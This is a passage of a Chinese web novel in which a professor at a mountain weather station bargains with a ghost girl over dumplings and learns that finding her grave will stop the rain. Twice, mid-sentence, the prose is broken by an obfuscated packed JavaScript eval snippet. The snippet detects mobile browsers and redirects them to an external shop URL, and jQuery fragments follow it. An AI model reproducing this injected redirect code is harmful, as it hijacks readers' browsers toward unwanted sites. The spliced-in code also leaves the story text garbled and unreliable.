放下衣摆,卓客语气惆怅起来:“我说句话你别多心,知道你要来大家都挺有信心,也希望能查出个所以然来,但有些事儿,容不得我不信。” 正如老金在这工作了十几年,用尽毕生的专业知识,请教了所有渠道能联系到的学者,最终事实逼得他只能尝试这条看起来荒诞的道路,也比如现在,卓客站在屋檐下,他望着仍旧灿烂的天空,摊手仰天长叹:“因为除了是鬼,我也没法解释这东边不下西边下的雨。还有西南方向那个没人敢去的荒山,一年四季都在下雨,别提多瘆人了。” 话没落地,霹雷倏然划过长空,闪电像是一条猛烈抽甩的皮鞭,撕裂出千万道的光痕,映照出卓客森白惊悚的表情。 他忙不迭扇自己嘴巴:“百无禁忌百无禁忌!” 这些荒诞的说法程澍礼自然是不信的,可如果说,真的是鬼呢? 身后堂屋里,试卷被一阵邪风卷到地上,小男孩起身去追,他走过去刚要去捡,忽然又是一阵风,卷子又往前飞,他连忙再追,几次下来都没追上,小男孩急得直哼哼。 始作俑者双手抱臂跟在他身边,脸上满是幸灾乐祸,然后她眼睛一转不知道看见了什么,笑意猛然僵在脸上。 半天没听到程澍礼接话,卓客觉得奇怪,顺着他视线看去,小男孩正追着试卷满屋跑,卓客转头叫程澍礼:“喂,跟你说话呢,走什么神儿?” “没什么。”程澍礼嘴上回答他,眼睛却直直看的棠又又,她正鼓着腮帮子,大口大口地朝着卷子吹气,卷子落到卓客脚边,他顺手捡起来还给小男孩。 游戏被人打断,棠又又隔空狠瞪了眼卓客。 卓客猛地浑身打个寒战。 收回视线,程澍礼站起来,“走吧,去水稻田。” 卓客啊了声:“还下着雨呢!” “我怕发生比淋雨更糟糕的事情。”说完程澍礼先行一步迈入雨中,背影显得有些急切。 卓客快步跟上去:“你说田埂被水冲开啊,这种程度的雨还不至于。” 林路上,细雨如丝,人影悠长,两人的交谈声在雨雾里渐行渐远。 # 考察完各个试验田,程澍礼连着加了三天班,将考察结果整理成完整的报告后,他要批改学生交过来的论文。 下班后程澍礼没去食堂,阿尧打了一大碗甜汤圆送过来,但是程澍礼忙到忘记吃。 深夜,偌大的气象站办公室里,只剩他一人,头顶灯光无声蔓延,室内落针可闻,窗外偶尔传来几声草丛里的虫鸣蛙叫。 不知改到第几份论文,程澍礼摘掉鼻梁上的眼镜,扔到桌上,倍感疲倦地摁了摁眉心。 还是那句话,学成这样可不成啊。 看眼时间,已经九点半,程澍礼合上笔记本装进电脑包,将桌上的东西一一整理归位,起身准备离开。 一瞬间的功夫,窗外下起小雨。 熟悉的窒闷席卷而来,程澍礼抬眸望去,雨水砸在透明的玻璃上,绽成一朵朵水花,又凝成一股细流,扑簌簌地往下坠。 放下电脑,程澍礼复又坐回原位,眼神平静地看着空无一人的前方。 他声色无澜:“出来吧。” 话落,几米外的办公桌下,棠又又缓缓探出一个脑袋。 她嘴巴微张,眼睛滴溜来滴溜去,先是观察了下程澍礼的脸色,见他风平浪静的模样,才渐渐弯起眉眼,扯出一个讨好的笑。 程澍礼坐在那,唇线绷直,眸光幽深地看着她,不说话。 棠又又“嗖”的一下飘过来,整个身体伏在程澍礼的办公桌上,眼巴巴盯着对面的人。 她眨眨眼睛,笑得没脸没皮:“程教授,好人儿,赏我一碗甜汤圆吃呗。” 4. 第四场雨 今天是四月初八,寨子里苗族人的传统节日,负责食堂做饭的蔡叔赶着去山下广场上吹笙,晚饭简单蒸的花糍米饭,煮了一锅糯米汤圆。 几个小时过去,搪瓷碗里的汤圆早就泡得浮囊,软趴趴窝成一团。 程澍礼收回目光,棠又又还紧巴巴地望着他,白净的脸庞上充满了期待和紧张,水灵灵的眼睛里闪过憧憬的流光。 哪里是鬼,分明跟他手底下那几个蠢笨学生一个样。 “棠又又。”他叫她。 棠又又啊了声笑眯眯:“你说。” 程澍礼:“你真的是鬼?” 棠又又:“对啊。”她不懂,相同的问题程澍礼为什么要问第二遍。 程澍礼:“怎么证明?” 这段时间来,程澍礼先是翻阅大量资料却一无所获,接着证实了自己不是精神病,所以他想,或许棠又又不是鬼,只是他现在还没有能力去证明她是一种什么样的存在。 可如果棠又又坚称,那理应由她自己说清自己的来历。 刹那间,棠又又的笑容凝住,心里默默将程澍礼暗骂了一万多遍。 ——这什么学术变态。 可对面的人目光如炬,正紧紧锁着她,棠又又本想放弃走掉,又无意间瞥见桌上的甜汤圆,心下终究不舍,她抿了抿唇,抬起头。 很认真地问:“你知道什么是鬼压床吗?” “鬼压......”程澍礼脑海中蓦地闪过一些无稽画面,他无比震惊地看向棠又又,声音也变得颤巍:“你,你想——” “想什么呢!”棠又又叉腰呵斥。 自知失礼的程澍礼耳朵尖“腾”的通红,他手握成拳抵到唇边,欲盖弥彰地咳嗽几声,眼神心虚地躲闪。 “还要怎么证明?”棠又又板起脸瞪着程澍礼,连珠炮似地朝他问话:“那天在山里,你能看见我,但是那傻子不行,那孩子跟他奶奶都不行,还不能说明我是鬼吗?” 程澍礼想了想,她说得没错,那天躲雨时,除了自己,其他几人包括卓客都对棠又又毫无感知,至少这一点,能够说明她是非人类的存在。 静了会儿,程澍礼拎起手边的电脑包,站起来转身离开。 眼见他快要走到门口,却没拿桌上的汤圆,着急的棠又又冲他背影喊:“你去哪啊?还回不回来了?” “不来了。”程澍礼拉开门,拿起墙角的雨伞,“你自己下山取汤圆。” 说完,他撑开雨伞走进浓黑的雨夜。 原本有些失望的棠又又听到这句,霎时眼睛一亮,她开心地快走几步跟过去,最后实在按耐不住喜悦,“蹭”一下,顺着最后一缕门缝迅速溜出去。 深夜里,万山静籁,只有路边低矮树丛里偶尔响起的几声虫鸣,乱云从天空飘过,被轻薄的细雨撕碎,化作林间浮沉的雾霭。 小小的吊脚楼收拾的干净整洁,因为一个鬼的到来,显得有几分逼仄。 但那鬼不这么觉得,棠又又对这屋内的一切都充满了好奇,她飘来荡去,将小屋仔仔细细看了个遍。 尤其程澍礼书桌角落摆着的地球仪,她最有兴趣,蹲在旁边聚精会神地研究上面的图案。 程澍礼端着煮好的汤圆路过,棠又又立刻被吸引了注意力,先一步闪过去在餐桌上坐好,心安理得地等待着程澍礼的“供奉”。 可事情并不像棠又又所想的那般发生。 程澍礼只是静静坐到她对面,将线香插进青瓷香座,端正摆在盛着汤圆的碗边,却迟迟没有点香的意思。 “你又想问什么?”她会意,直视他漆黑而明亮的眼眸。 到了现在,程澍礼已然知道她不会伤害自己,所以敢心平气和地跟她提条件了:“一个汤圆一个问题。” “两个!”棠又又绝不退让,她放平嘴角咬牙切齿道:“不然我就把你去厨房偷汤圆的事情告诉气象站的人。” 程澍礼微微一笑:“你但凡有这能耐也不至于这么多年混不上口饭。” 而且并不是偷,他发消息给阿尧,通过阿尧将这件事告诉了蔡叔,也是蔡叔专门打电话告诉他新鲜的汤圆放在哪里。 嚣张气焰被他几句话扑灭,棠又又扁下嘴巴,不情不愿地妥协:“你问吧。” “啪”一声,线香点燃,清栀香气伴着淡雾萦逸,慢慢涌进周围的空气,程澍礼将大碗的汤圆摆到棠又又面前,细心地将勺子拨到她的右手边。 他什么也没说,低头自顾自吃起小碗那份。 棠又又怔愣住,她侧下脑袋,去看程澍礼的眼睛:“你不问了?” “食不语,寝不言。”程澍礼动作停下,又变成那副恪己守礼的古板口吻,他轻抬下巴:“吃完再说。” 美食当前,棠又又也不再纠结,埋头享用心心念念的汤圆。 屋外风声时断时续,卷起落叶拂过宽阔的大地,像是深蓝大海里的银白色浪纹,轻而幽,急急来又匆匆去,只留下月光朦胧的痕迹。 棠又又吃完最后一颗汤圆时,程澍礼已经等她许久,出于教养没有催促。 棠又又看他就吃了几个,问道:“你吃这么少?” 程澍礼语气一板一眼:“晚上吃多了不消化。” 无论如何,棠又又已经吃饱喝足,她整个鬼都沉浸在快乐中,拍拍自己的肚子,眉峰一挑:“想知道什么?” 无数问题早在脑海中演练过千万遍,程澍礼问:“你说你什么都不记得,可为什么还记得自己的名字?” “这个要从我做鬼说起。” 棠又又左手手肘撑在桌面,用手指支起下巴,语气懒洋洋的:“我死之后醒过来的那天,周围有很多人,而且都特别高兴,好像在庆祝什么胜利了,但是他们看不到我,无论我怎么喊怎么说都没用,直到在寨子里遇见一个老奶奶,她不仅能看见我,还在我身上找到了个学生证,但是......” 她忽然停下来,程澍礼投过去一个安静的注视,棠又又微侧着头半垂下眼,周身陷入一种微妙的沉默,刹那间,程澍礼捕捉到她身上散发出来的细微的悲伤。 接着,棠又又又说:“但那学生证只有半截,而且沾满了血,老奶奶说上面就剩两个又字,应该是我的名字吧,反正当时我也不认字儿,她说是就是呗,然后我看旁边的野棠花开的不错,就拿来当姓啦,所以我叫棠又又。” 时至今日,提起这个,棠又又依旧会情不自禁地笑出来。 当时那片野棠花晶莹剔透,在阳光下格外耀眼,一眼就好看得紧。 “那个老奶奶,现在在哪?”程澍礼迫切想要找到问题的突破口。 棠又又明媚一笑:“这算第二个问题吗?” 程澍礼说:“算。” 棠又又大概地估算下时间,没好气地哼哼两声:“她儿子都能当鬼了。” “......” 程澍礼:“学生证呢?” 棠又又:“丢了。” 程澍礼叹气,因为线索中断感到束手无策,所以一时间没有说话。 棠又又眼睫斜了斜,用上眼睑的光悄悄打量程澍礼的脸色,她还是不太能理解他究竟为什么如此执着,又为什么一定要找到问题的答案。 反正死了之后都不会有人在乎。 正想着,程澍礼叫她:“棠又又。” “嗯?”棠又又懒得抬头,用鼻腔轻哼了声。 “你现在能认字了?” “棋山后边有所小学,我没事儿的时候就在那飘,飘着飘着就认字了。” 闻言程澍礼轻笑了声,胸腔微微震动,音色清朗如玉。 “你笑什么?”棠又又不解地抬头望去。 程澍礼眼底还留有几分笑意,戏谑地看向棠又又:“你在学校也那么欺负小孩儿?” 意识到他说的躲雨那天的事,棠又又立刻坐直身体,刚想说话,猝不及防被程澍礼抬手打断:“这个不是问题。” 棠又又很轻地眨下眼睛,耸了耸肩没放心上。 程澍礼翻起桌上的茶盏,倒好茶,贴着桌面推到棠又又面前,棠又又当即伸手去捧,两人拖住茶盏的手交集半瞬,棠又又的手指穿过程澍礼的手指。 程澍礼也给自己倒了杯茶,整套茶具都是从北京带过来的他惯用的那套,青龙泉的青瓷茶盏,跟他人一样温润内敛。 他问:“你不是偶尔才能碰到活人,怎么那天能吹小男孩的卷子?” “本来不行,但怎么说我也是鬼,操控魂力吓一吓你们人类还是可以的吧。”棠又又抿一小口茶,苦的,她不喜欢,随手推到旁边。 她话里郁闷:“只是机会很少罢了。” “为什么机会很少?” “因为魂力必须要通过生人祭奠获得,我是没人管的孤魂野鬼,所以魂力很弱,每次都要攒许久才能用一回。” 程澍礼敛眸沉思,想来也是因为这样,第一次见面时棠又又就大用魂力威胁他闭嘴,才导致她后来半个月不能出现。 “那之前打我的水也是魂力?”程澍礼问。 “不是。”棠又又摇头,“其实我也不知道为什么我能控水,可能跟我一出现就下雨有关。” 他默声,算接受她的解释,接着不再说话,屋内再度归于平静。 这反叫棠又又不习惯了。 正说兴头上呐,怎的突然就不问了? “没问题了?”棠又又忍不住说。 程澍礼先是点头,紧接着又摇头,态度极为严谨:“你碗里一共十五个汤圆,七个问题。” 棠又又笑了笑,人是没意思了点,但还算有风度。 “算了。”棠又又声色扬起,比之前都更为惬意,她双手托腮往前一凑,“毕竟你是第二个能看见我的人,咱们有缘,我发善心再白送你一个问题。” “孽缘啊?” “孽麻。” 此话一出,他们同时愣住。 程澍礼:“什么意思?” “不知道啊,脱口而出的语气词。”棠又又也有点意外的茫然。 她自己也说不明白为什么,根本无需大脑思考张口就来的话,仿佛那是她曾经记忆里的一部分。 而这头,程澍礼有一瞬间的错觉,觉得这话似乎从哪里听过,可每当他想细究时,那一丝熟悉就像一尾灵活的游鱼迅速钻回脑海深处,眨眼的功夫便消失不见。 微黄的灯光自上倾泻,照拂着灯下的一切。 程澍礼身型微偏,侧脸映着光,轮廓清晰俊冷,他思考时周身气场温淡,静默的像是进入了另外一个世界。 见他这般,棠又又知道他又钻牛角尖了。 她挥挥手:“你还问不问了?” “问。”程澍礼很快说。 棠又又坐回去,保持着那个姿势,大眼睛一瞬不瞬地看着他。 “要怎么做。”程澍礼放低声音,“有仙寨才能恢复正常?” 纵然还是怀疑,但几次观察下来,程澍礼发现异常现象或多或少跟棠又又有关,所以解铃还得系铃人。 “你想让我死啊?”棠又又笑的满脸天真无辜。 程澍礼一针见血:“你不是已经死了。” 被戳中的棠又又顿然失声,她撇撇嘴角,用眼睛狠狠剜了下程澍礼,脸上一副“是啊还没死透怎样要不你弄死我”的表情。 “好吧,其实我是被困在这里的。”隔了半晌,棠又又突然说:“所以我也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713203|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道怎么办。” 她一副爱莫能助的样子。 程澍礼不懂这话意思,只能接着问:“你就不能收敛一下你的什么法力之类的?” 棠又又装模作样地“哇”了一声:“我竟然有法力!那我这么多年还混不上口饭!真是太可惜了!” 再迟钝的人也能听出她话里的反讽,程澍礼一时无言以对,气氛安静下来,他朝那头看去,棠又又坐在椅子上,视线越过他肩膀,落在了他身后。 程澍礼转头,窗户大开,外头清风明月,高低不齐的峰顶浸没在青蓝夜晚,雨烟氤氲飘在风里,山林静的像是一幅巨大的剪影。 她就那样静静坐着,看着,眼中不悲不喜,不知道在想什么。 片刻,程澍礼转回来,棠又又也正看着他,眼神只剩最原始的干净。 “那还有别的什么办法吗?”程澍礼拎起水壶给她添茶,水声潺潺,与窗棂的颤动交相呼应。 “定期上供!”棠又又眸眼闪过一抹精明的光,她掰出手指,如数家珍般一样一样报菜名:“每个月十只烧鸡十只香酥鸭八个酱肘五条鲶鱼三顿羊蝎子两头牛,外加三十瓶可口可乐。” 程澍礼边听边喝茶,直到她一长串说完,他才将茶杯放下,气定神闲的宛如马上就要坐地登仙:“除此之外,要不要再给你加点蛋糕巧克力,做饭后甜点?” “真的吗真的吗?”棠又又激动的几乎要从桌子另一头过来。 程澍礼瞥她一眼:“寨子里的牛加一块都不够你吃半年的,你说呢?” “切!”棠又又坐回去,眼睛气的瞪溜圆。 她隔空咧下嘴巴,自以为凶神恶煞地放狠话:“那我就淹掉你们棋山!淹掉五子顶!” 程澍礼仔细听了下窗外的风雨声,没有变大的趋势,心下了然:“就凭你这毛毛雨?” 棠又又不服:“你少平白无故地瞧不起人!” 程澍礼纠正:“鬼。” “......”棠又又怒喝:“你少平白无故地瞧不起鬼!” 趁着她在对面抓狂的功夫,程澍礼微笑着低下头,用倒茶的姿势掩去瞬变的情绪。 刚才他几次刻意而为,想通过言语激怒棠又又,然而全程屋外风雨没有什么变化,可见虽然异常与棠又又有关,但她并不会因此作恶,只要他循循善诱,就一定能找到真正的解决办法。 这下程澍礼明白了,之前棠又又摆出那副凶神恶煞的模样,其实只是情急之下的伪装,实际上她心思浅的一眼就能参透,时不时还会露出些同龄人类的小脾气小模样。 可一想,人类像她这样二十出头的小姑娘,个个活力四射青春洋溢,有朋友,有生活,还有各种各样程澍礼想像不到的社交和娱乐手段,而棠又又却年纪轻轻就这么死掉了,所以程澍礼打心底有点可怜她。 他扬下手里茶壶:“要再来点吗?” 棠又又拒绝:“太苦了。” “你喜欢吃甜的?”比如蛋糕汤圆什么的。 她眉眼弯成月牙:“嗯!喜欢吃甜的!” 程澍礼还要说什么,手机突然一阵铃声,十点四十五的闹钟,到了该洗漱上床睡觉的时间。 碰巧,线香燃掉最后一节灰烬,棠又又恋恋不舍地飘到半空中。 她离开时,程澍礼放心不下地叮嘱:“松里峰那边的中药过几天要收割,不能淋雨,那边你别过去。” 棠又又没有接话,只站在窗边定定望着他,程澍礼以为她不乐意,想想道:“两瓶可乐。” 月光清清冷冷地照进来,毫无阻碍地穿过棠又又的魂体,落在程澍礼的脚边,地面像是下了一层白霜。 半晌,程澍礼听见棠又又很轻的哦了声。 棠又又走后,雨停。 程澍礼简单冲了个澡准备上床休息,走过餐桌时他不由自主地放慢脚步,晚上吃汤圆的碗勺还没收拾。 墙上挂钟正正指向十一点,程澍礼在先洗碗还是先睡觉的这种关乎习惯与教养的斗争中犹豫三秒,选择遵循内心深处的那份秩序感,他径直迈向床边,掀开被子躺下,双手交叠平放在胸前,安稳滑进梦乡。 十几分钟后,床上的人猛地掀开被子。 他三两步跨到桌边,又三两下将碗勺收拾好,拿到厨房水槽迅速冲刷干净。 整理完毕后,程澍礼再次回到被窝,长舒一口气,这才心无旁骛的睡去。 棋山里,黑夜浓的像是一团化不开的墨,青石板路上的路灯已经停止工作,棠又又独自坐在高大的树杈上,两腿自然下垂,树叶随风摆动,在她脚背上游来游去。 棠又又面无表情地看向远处几间房屋,直到最后一盏灯也熄灭,她漠然地挪开目光。 离大树不远的屋子里,女人在不停急促地咳嗽,她咳得上气不接下气,男人急切地关心:“好端端的怎么又咳嗽了,又下雨了吗?” 说着,他将窗户关紧,隔绝了女人大半的咳嗽声,却挡不住那句咒骂:“这鬼天气。” 棠又又仰头看向天空,月亮已经不见了,万山被罩在一片水雾之中,显得迷离又萧索。 她飘起来,无声无息飘向大山深处。 # 第二天一早,程澍礼顶着一头阴郁开门,外面暴雨倾盆,山间冷风尽数灌入吊脚楼,寒气逼人冻得他打了个颤。 他眼神一转落向几米开外,棠又又屈膝坐在窗下悬台,两只小奶狗窝在她裙摆边酣眠,她躬身缩成一团抱住自己的小腿,眼睛看着大山又落不到实处。 程澍礼抬步朝她走去,棠又又听见声音转头,半边脸颊轻搁在膝盖上,眼中一片落寞。 她语气淡淡:“你帮我找到我的坟,这里就能恢复正常。” 5. 第五场雨 程澍礼在棋山小学的课堂上,接到他母亲钟音的电话:“阮家老爷子昨晚走了。” 悲痛之下,钟音的声音也平稳有度,老一辈的读书人,决不允许情绪失控这种不体面的事发生在自己身上。 教室外面的阳光明媚,程澍礼站在走廊拐角的荫凉下,因为这消息愣在原地,但听见“走了”那两个字时,他内心想的最多的还是林钰文,不禁担心她年迈的身体能否受得了这样的打击。 他问:“跟奶奶说了吗?” 钟音说:“你爸爸已经提前结束考察,和你大伯一起回山东老家处理了,叫我先不要告诉你奶奶,她最近病情不太稳定,先瞒过这一阵再说吧。” 自程澍礼记事以来,老太太就患有阿尔兹海默症,病情时好时坏,二十多年光阴流转,她已经鲜少能认出家人,却还能隔着老远一眼认出阮家老爷子。 其实程澍礼对这位阮家老爷子阮敬和的了解并不多,只小时候还生活在山东时,偶尔从家中长辈那里听过只言片语,知道他年轻时是一位米商,好善乐施,终生未娶,无有子嗣。 后来程家定居北京,两家来往不如以前频繁,但每逢过年,林钰文都要带着全部家人回到山东与阮敬和作伴。 不仅如此,程澍礼的祖父在世时也对阮敬和敬重有加,这份敬重如同血脉一般,延续到程家的每一位成员,所以对这位有着神秘故事的老爷子,程家人全部以长辈之礼相待。 仗着年幼无知,程澍礼趁林钰文偶尔清醒的时候,偷偷问她为什么和阮爷爷关系这么好。 林钰文目光慈祥,说他是奶奶的救命恩人,如果没有他,奶奶当年就被日本人炸死了。而每回程澍礼问具体细节时,老太太就开始犯糊涂,转而急切问他:“澍儿,你吃了吗?” 程澍礼便大着胆子偷偷去问阮敬和,阮敬和不答,他将手中的豌豆黄掰下半块,分给人还没半截大葱高的小程澍礼,然后又掰下指甲盖大小的一块,放进嘴里慢慢地抿。 一块小小的豌豆黄,阮敬和能吃一整个下午。 记忆不多,却因人的离去在此时变得特别深刻,以至于钟音喊了两声,程澍礼才回过神。 “抱歉。”面对至亲程澍礼也不忘礼数,他调整了下:“如果爸爸那边忙不开,我可以申请回去一趟。” “不用,你忙你自己的事。”钟音语气没有情绪,“虽然不得已,但这是你来京大的第一次外派工作,一定要做好,忙完尽快回北京。”接着她便挂断了电话。 这是程澍礼和钟音长久以来的相处方式,平淡,安稳,跟此刻的风一样没有波澜,这股平淡延续到程家的饭桌上,一家人坐在一起吃饭时,也都默契地保持安静说不过三句话。 程澍礼没有立即回到教室,他单手插兜站在墙边,盯着远处横贯天际的峰峦出神,颀长身影浸在日光底下,瞳孔深处带着旁人难以察觉的迷惘。 身后的教室里,传来梁晶晶激情洋溢的讲解声,小朋友们个个活跃的像是被投食的小鱼,争相跳出水面抢答问题。 这是棋山小学一月一次的科学公益课堂,本月由五子顶气象站负责宣讲。 原本只有卓客和梁晶晶过来,可当程澍礼听见棋山小学时,想起棠又又说在这边学认字,他想过来碰碰运气,便主动跟老金提出想过来看看。 老金欣然同意,叮嘱他有什么需求就直说,并转头警告卓客要是让程教授掉一根头发就把他给剃秃。 程澍礼站了会儿,蓦然身边响起脚步声,转头一看,是卓客。 卓客在教室里等了好一会儿,没见人回来,以为出了什么事,课也不听了赶紧出来找他。 走近之后,卓客明显感觉接完电话的程澍礼情绪不高:“你怎么了?” “没什么。”程澍礼不想因为私事影响他人心情。 他看向卓客手里拎着的帆布袋,转移话题问:“站长让你带的什么东西?” “给他小孙女带的零食。”卓客的视线扫过前头操场,有个班级正上体育课,他扬指点点站在队伍最前头的小姑娘:“就那个。” 程澍礼看过去,扎着双马尾的小姑娘身姿笔直,她最大程度地向前挺起胸膛,脑袋努力往上抻,可再怎么努力,也难掩她比其他小朋友矮一大截的事实。 “她跳级了?”程澍礼问。 卓客听懂后笑了下,笑完语气又转向疼惜:“太瘦了看着不像吧,先心病。” 程澍礼再次抬头看眼那小双马尾,不仅长得瘦,在阳光下,头发显出异于常人的发黄,一副营养不良的枯瘦模样。 他收回目光:“这个年纪该做手术了。” “是啊。”卓客接话,“为了手术费,孩子爹妈在外地工作赚钱呢,两人都忙,就只好把孩子交给老金夫妻俩照顾。” 正说着,一声哨响,那边的队伍解散,队首的小姑娘看见卓客,一甩双马尾,拔腿朝两人跑过来。 “卓叔叔!” “诶!”卓客迅速扬起一个大大的笑脸,身体往下一蹲,接住从远处直直飞进怀里的小姑娘,他抱着孩子掂几下:“糖豆儿想叔叔了没?” 糖豆儿搂着他的脖子吃吃地笑:“想。” 卓客将糖豆儿转过来,指指另一头的程澍礼:“叫程叔叔。” 程澍礼勾勾唇角,温柔道:“你好。” 糖豆儿咬着手指看了程澍礼一会儿,从口袋里翻出一个皱巴巴的橘子,递给程澍礼:“程叔叔,你吃。” 卓客和程澍礼相视一笑。 把带来的零食交给糖豆后,卓客给她整理了下因为玩耍弄脏的衣服,在整理到糖豆的领口时,他手一顿,紧声问她:“你爷爷给你求的玉观音呢?” 糖豆吸溜下鼻子:“三年级的小舟生病了,爷爷说那个能保佑小孩子不生病,我借给她戴两天。” “这样啊。”卓客松了口气,“那你放学前赶紧找她要回来,不然你爷爷要生气了。” 糖豆儿黑葡萄似的大眼睛眨巴眨巴,懵懂般地点了点头。 回程的路上,程澍礼不经意的提起这事儿。 卓客扫眼尽是草木的周围,确定没其他人后才说:“就是老金怕山里鬼怪多,心里怵,给孩子求个平安。” 程澍礼问:“山里的仙女不是保佑孩子的吗?” 卓客说:“那是一个说法。” 山色明秀,鸟啼花香回荡在周围,到处一片怡人景象。 卓客走在前头,随手撩开头顶一根过分生长的枝蔓:“另一个说法也是我从老人那听来的,他们说那孩子被找回去没多久就没了,恰好那会儿四处闹饥荒,所以就有传言,是女鬼饿了勾走他的魂吃了。” “你胡说!” 不知从哪冒出来的棠又又冲到卓客面前,她张牙舞爪地朝着卓客喊:“我才不吃小孩子!脸上都是鼻涕眼泪的臭死了!” 她一喊完,远空惊雷炸响,无数雨水从林网簌簌下坠。 面对歪风邪雨卓客早已坦然,他拿出包里的伞,也顺手递给程澍礼一把。 但他浑然不知自己所处的情景,只觉得四周温度骤降,裹紧了身上的外套问:“程教授你有没有觉得变冷了?” “没有。”程澍礼说,“你是不是穿的太少了?” 程澍礼跟卓客说话,眼睛看的却是棠又又,微皱下眉示意她安静。 棠又又视若无睹,隔空在骂卓客:“你要是再敢编瞎话!我就半夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713204|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘进你家窗户!弄死你!弄死你养的花花草草!” 毫不知情的卓客回过身,程澍礼上身只着一件白T,穿的比自己还少,但他神色一如既往的淡定,没受什么影响。 “你真不冷啊?”说着卓客狠狠打个喷嚏。 程澍礼摇头说:“快回吧,雨要下大了。” 卓客依言转身朝前走,可他心里总有种说不上来的别扭,浑身都很不自在。 在他看不见的地方,程澍礼竖起两根手指扬了扬,棠又又见状,最后瞪眼卓客,在看见他脚下一滑差点摔跤后,这才心满意足地笑出来。 她傲娇地一拍手,慢悠悠飘到程澍礼身边,抱起双臂问他:“你怎么又跟这傻子呆一块?” 程澍礼专心走路,不说话。 棠又又又问:“怕他听见啊。” 程澍礼嗯了声。 棠又又轻嗤:“傻子有什么好怕的。” “你可以叫他卓客。”程澍礼纠正她不礼貌的称呼。 “咋了你叫我?”卓客听见声音回头。 程澍礼:“没有。” 卓客明明听见有人叫了他的名字,但这里除了他俩也没第三个活人了,他左右看看四周,紧接着往程澍礼的方向靠了靠。 棠又又嘲弄地笑了声,瞪他一眼后飘到程澍礼的另一侧,程澍礼走路不比她飘得快,她隔会儿就得停下,等两人赶上来,再瞪卓客一眼,再并肩继续向前。 “程教授,你相信有鬼吗?”打了好几个寒战的卓客试图用聊天缓解异样。 “我......” “我不会是招惹了什么脏东西吧?” “他说我是脏东西!”棠又又刚平息的怒火“噌”一下燃起来,她眼睛睁的又圆又大,说着就要往卓客脸上冲:“我不弄死他!?” 程澍礼本能地反手去“摁”棠又又脑门,他发自内心地劝诫:“你少说两句。” 卓客看着程澍礼这无端的动作,心里瘆得慌,哪怕在这一片久了,遇见过那么多怪事,他也没觉得像现在这么诡异。 明明人就站在自己面前,可程澍礼说话的那个样子,总有种说不上来的奇怪,他好像是在跟自己说,又好像,在跟别的什么人说。 在程澍礼平静的目光下,卓客狐疑地瞟眼两人周围:“程教授,这边儿打不着车。” “手麻了活动下。”程澍礼神态自若。 卓客怔怔看他良久,还是那个问题:“你真不冷?” 程澍礼见他是真害怕,安慰地说了句有点。 卓客信又不信,走在路上一步三回头。 长长的道路上,雨打树叶的声音清脆又悦耳,可卓客不这么觉得。 因为从刚才开始,他周围就阴风嗖嗖,寒气沿着脚后跟往上蹿进四肢百骸,好好的伞忽然也不起作用,雨水逆着风涌进伞里,胡乱地朝他脸上撞。 反观程澍礼,安然无恙。 这头,看着作乱的棠又又,程澍礼想说点什么,但她围在卓客身边喋喋不休,根本不给他插嘴的机会。 终于,在第六次的不小心脚下打滑之后,卓客猛地站住脚步,这没来由的刹车让程澍礼和棠又又也一时顿住。 一人一鬼凝在原地看他。 紧接着,卓客缓缓抽出工作证里的平安符,用生平最虔诚的姿势将它合在手心:“妖魔鬼怪快走开妖魔鬼怪快走开!”说完他拔腿就跑,只留下凄厉的“阿弥陀佛”回荡在绿幽幽的林间。 “我话没说完呢你站住!”棠又又充耳不闻,她唰地追上去:“这么没礼貌呢!” 身处此情此景,程澍礼也不知道到底该劝哪一个,索性撒手不管,独自一人慢悠悠地步行下山。 6. 第六场雨 跌跌撞撞终于到达山脚,不下雨了,也不再无缘无故冒冷汗,这让卓客更加坚定自己刚才在山上撞了什么晦气。 他站在车边,口中说着程澍礼听不懂的方言,将浑身上下都仔细拍打一遍,表情才慢慢变得正常。 拍完,卓客冲程澍礼讪笑了下,没多解释:“我下午请了假不回站里,车钥匙给你。” 程澍礼尊重一切风俗习惯,没说什么,只接过钥匙,礼貌询问要不要送他一程。 “不用,前面走两步就到了。” “好。” 等到卓客的身影彻底消失在道路尽头,程澍礼从汽车后备箱拿出东西,转头跟上早跑没影了的棠又又。 二十分钟后,小岔山的半山坡,程澍礼姗姗来迟。 当会儿,棠又又正盘坐在一片草地,她随意一挥,雨滴瞬间聚成水团悬浮在她手心,棠又又将一整个水团砸向花朵,细嫩的花枝被打得左摇右颤。 无辜的花朵被翻来覆去淋了好几遭后,终于迎来了它的“救星”,看见人后,棠又又仰起头不满埋怨:“程澍礼!你怎么走得这么慢?” “人受地球的重力作用,而且是拓行类行走动物,只能走不能飘。”程澍礼一路走得急,加上雨天对心情的影响,此刻胸口闷得喘不上气,踏上最后一级台阶后,他寻了处还算干燥的地方坐下。 光是听他说话,棠又又就觉得是博物馆里的柱子活着跑出来了。 她整个鬼都很不爽:“你不说教会死吗?” “我......” “算了算了。”猜他又要不苟言笑地解释一堆,棠又又不耐地摆了摆手,接着她问起程澍拎着的礼盒,“那是什么?” 程澍礼说:“给你说的那人家带的礼物。” 初次拜访却空手上门,这是一件非常不礼貌的事情。 棠又又哦了声,一低头,这才发现他坐的是什么,好心地提醒:“山里的树桩是不能坐的。” 程澍礼也低头:“为什么?” “因为那是山神的椅子。”棠又又难得肃穆,“随便坐山神是会生气的。” 程澍礼则表现的很冷漠:“如果真的有山神,你作的这些乱应该已经把他气得不轻了。” 